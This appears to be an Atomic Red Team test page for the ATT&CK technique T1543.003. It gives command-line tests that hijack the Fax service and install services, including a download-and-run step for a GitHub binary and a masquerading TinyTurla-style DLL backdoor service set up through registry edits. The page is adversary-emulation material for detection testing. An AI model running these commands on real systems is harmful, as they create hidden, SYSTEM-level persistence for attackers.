# T1543.003 - Windows Service
## [Description from ATT&CK](https://attack.mitre.org/techniques/T1543/003)
<blockquote>Adversaries may create or modify Windows services to repeatedly execute malicious payloads as part of persistence. When Windows boots up, it starts programs or applications called services that perform background system functions.(Citation: TechNet Services) Windows service configuration information, including the file path to the service's executable or recovery programs/commands, is stored in the Windows Registry. Service configurations can be modified using utilities such as sc.exe and [Reg](https://attack.mitre.org/software/S0075). 

Adversaries may install a new service or modify an existing service by using system utilities to interact with services, by directly modifying the Registry, or by using custom tools to interact with the Windows API. Adversaries may configure services to execute at startup in order to persist on a system.

An adversary may also incorporate [Masquerading](https://attack.mitre.org/techniques/T1036) by using a service name from a related operating system or benign software, or by modifying existing services to make detection analysis more challenging. Modifying existing services may interrupt their functionality or may enable services that are disabled or otherwise not commonly used. 

Services may be created with administrator privileges but are executed under SYSTEM privileges, so an adversary may also use a service to escalate privileges from administrator to SYSTEM. Adversaries may also directly start services through [Service Execution](https://attack.mitre.org/techniques/T1569/002). </blockquote>

## Atomic Tests

- [Atomic Test #1 - Modify Fax service to run PowerShell](#atomic-test-1---modify-fax-service-to-run-powershell)

- [Atomic Test #2 - Service Installation CMD](#atomic-test-2---service-installation-cmd)

- [Atomic Test #3 - Service Installation PowerShell](#atomic-test-3---service-installation-powershell)

- [Atomic Test #4 - TinyTurla backdoor service w64time](#atomic-test-4---tinyturla-backdoor-service-w64time)


<br/>

## Atomic Test #1 - Modify Fax service to run PowerShell
This test will temporarily modify the service Fax by changing the binPath to PowerShell
and will then revert the binPath change, restoring Fax to its original state.
Upon successful execution, cmd will modify the binpath for `Fax` to spawn powershell. Powershell will then spawn.

**Supported Platforms:** Windows


**auto_generated_guid:** ed366cde-7d12-49df-a833-671904770b9f






#### Attack Commands: Run with `command_prompt`!  Elevation Required (e.g. root or admin) 


```cmd
sc config Fax binPath= "C:\windows\system32\WindowsPowerShell\v1.0\powershell.exe -noexit -c \"write-host 'T1543.003 Test'\""
sc start Fax
```

#### Cleanup Commands:
```cmd
sc config Fax binPath= "C:\WINDOWS\system32\fxssvc.exe" >nul 2>&1
```





<br/>
<br/>

## Atomic Test #2 - Service Installation CMD
Download an executable from github and start it as a service.
Upon successful execution, powershell will download `AtomicService.exe` from github. cmd.exe will spawn sc.exe which will create and start the service. Results will output via stdout.

**Supported Platforms:** Windows


**auto_generated_guid:** 981e2942-e433-44e9-afc1-8c957a1496b6





#### Inputs:
| Name | Description | Type | Default Value |
|------|-------------|------|---------------|
| binary_path | Name of the service binary, include path. | Path | PathToAtomicsFolder&#92;T1543.003&#92;bin&#92;AtomicService.exe|
| service_name | Name of the Service | String | AtomicTestService_CMD|


#### Attack Commands: Run with `command_prompt`!  Elevation Required (e.g. root or admin) 


```cmd
sc.exe create #{service_name} binPath= #{binary_path}
sc.exe start #{service_name}
```

#### Cleanup Commands:
```cmd
sc.exe stop #{service_name} >nul 2>&1
sc.exe delete #{service_name} >nul 2>&1
```



#### Dependencies:  Run with `powershell`!
##### Description: Service binary must exist on disk at specified location (#{binary_path})
##### Check Prereq Commands:
```powershell
if (Test-Path #{binary_path}) {exit 0} else {exit 1}
```
##### Get Prereq Commands:
```powershell
New-Item -Type Directory (split-path #{binary_path}) -ErrorAction ignore | Out-Null
Invoke-WebRequest "https://github.com/redcanaryco/atomic-red-team/raw/master/atomics/T1543.003/bin/AtomicService.exe" -OutFile "#{binary_path}"
```




<br/>
<br/>

## Atomic Test #3 - Service Installation PowerShell
Installs A Local Service via PowerShell.
Upon successful execution, powershell will download `AtomicService.exe` from github. Powershell will then use `New-Service` and `Start-Service` to start service. Results will be displayed.

**Supported Platforms:** Windows


**auto_generated_guid:** 491a4af6-a521-4b74-b23b-f7b3f1ee9e77





#### Inputs:
| Name | Description | Type | Default Value |
|------|-------------|------|---------------|
| binary_path | Name of the service binary, include path. | Path | PathToAtomicsFolder&#92;T1543.003&#92;bin&#92;AtomicService.exe|
| service_name | Name of the Service | String | AtomicTestService_PowerShell|


#### Attack Commands: Run with `powershell`!  Elevation Required (e.g. root or admin) 


```powershell
New-Service -Name "#{service_name}" -BinaryPathName "#{binary_path}"
Start-Service -Name "#{service_name}"
```

#### Cleanup Commands:
```powershell
Stop-Service -Name "#{service_name}" 2>&1 | Out-Null
try {(Get-WmiObject Win32_Service -filter "name='#{service_name}'").Delete()}
catch {}
```



#### Dependencies:  Run with `powershell`!
##### Description: Service binary must exist on disk at specified location (#{binary_path})
##### Check Prereq Commands:
```powershell
if (Test-Path #{binary_path}) {exit 0} else {exit 1}
```
##### Get Prereq Commands:
```powershell
New-Item -Type Directory (split-path #{binary_path}) -ErrorAction ignore | Out-Null
Invoke-WebRequest "https://github.com/redcanaryco/atomic-red-team/raw/master/atomics/T1543.003/bin/AtomicService.exe" -OutFile "#{binary_path}"
```




<br/>
<br/>

## Atomic Test #4 - TinyTurla backdoor service w64time
It's running Dll as service to emulate the tine turla backdoor

[Related Talos Blog](https://blog.talosintelligence.com/2021/09/tinyturla.html)

**Supported Platforms:** Windows


**auto_generated_guid:** ef0581fd-528e-4662-87bc-4c2affb86940





#### Inputs:
| Name | Description | Type | Default Value |
|------|-------------|------|---------------|
| dllfilename | It specifies Dll file to run as service | string | $PathToAtomicsFolder&#92;T1543.003&#92;bin&#92;w64time.dll|


#### Attack Commands: Run with `command_prompt`!  Elevation Required (e.g. root or admin) 


```cmd
copy #{dllfilename} %systemroot%\system32\
sc create W64Time binPath= "c:\Windows\System32\svchost.exe -k TimeService" type= share start=auto
sc config W64Time DisplayName= "Windows 64 Time"
sc description W64Time "Maintain date and time synch on all clients and services in the network"
reg add "HKLM\Software\Microsoft\Windows NT\CurrentVersion\Svchost" /v TimeService /t REG_MULTI_SZ /d "W64Time" /f
reg add "HKLM\SYSTEM\CurrentControlSet\Services\W64Time\Parameters" /v ServiceDll /t REG_EXPAND_SZ /d "%systemroot%\system32\w64time.dll" /f
sc start W64Time
```

#### Cleanup Commands:
```cmd
sc stop W64Time
sc.exe delete W64Time
del %systemroot%\system32\w64time.dll
reg delete "HKLM\Software\Microsoft\Windows NT\CurrentVersion\Svchost" /v TimeService /f
reg delete "HKLM\SYSTEM\CurrentControlSet\Services\W64Time\Parameters" /v ServiceDll /f
```





<br/>
